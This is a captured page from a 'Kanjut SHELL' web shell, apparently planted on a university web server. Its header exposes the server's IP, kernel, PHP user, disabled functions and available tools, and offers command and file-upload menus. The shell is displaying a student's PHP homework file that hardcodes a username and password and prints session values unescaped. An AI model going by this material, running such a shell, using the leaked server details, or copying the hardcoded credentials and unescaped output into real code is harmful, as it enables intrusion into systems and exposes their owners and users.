Kanjut SHELL
Server IP : 172.16.15.8  /  Your IP : 3.133.117.107
Web Server : Apache
System : Linux zeus.vwu.edu 4.18.0-553.27.1.el8_10.x86_64 #1 SMP Wed Nov 6 14:29:02 UTC 2024 x86_64
User : apache ( 48)
PHP Version : 7.2.24
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /home/vgmiller/www/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/vgmiller/www/PatientInfo.php
<!--
        Author: Valerie Miller
        Instructor: Dr. Wang
        File Name: PatientInfo.php
        Due Date: April 12, 2018
        Goal:
-->

<?php
	session_start();
	$name = $_SESSION['n'];
	$phone = $_SESSION['p'];
	$gender = $_SESSION['g'];
	$_SESSION['n'] = $name;
        $_SESSION['p'] = $phone;
        $_SESSION['g'] = $gender;
	$symptoms = $_POST['symptoms'];
	$user = $_SESSION['usr'];
	$pass = $_SESSION['psw'];
        if ($user != "cs480")
        {
?>
<H2><FONT color=red>ERROR</FONT></H2><HR>
<P>
Incorrect username or password. Go away.
<P>
<form>
<A HREF="PatInfoLogin.html"><INPUT type="button" value="Return to login"></A>
</form>
<?php
        }
        else if ($pass != "hw10")
        {
?>
<H2><FONT color=red>ERROR</FONT></H2><HR>
<P>
Incorrect username or password. Go away.
<P>
<form>
<A HREF="PatInfoLogin.html"><INPUT type="button" value="Return to login"></A>
</form>
<?php
        }
        else
	{
?>
<CENTER>
<H2>Patient Information</H2>
<HR>
<?php
	if (count($symptoms)==0)
	{
		print "<h4>Please select at least one symptom!</h4><P>";
?>
	<form>
	<A HREF="PatientSelect.php"><INPUT type="button" value="Return to form"></A>
	</form>

<?php
	}
	else 
	{
		print "Name: $name<BR>";
		print "Phone number: $phone<BR>";
		print "Gender: $gender<P>";
		print "Symptoms: ";
		foreach($symptoms as $item)
		print "        $item<BR> ";
	}
?>
</CENTER>

<?php
	}
?>

Stv3n404 - 2023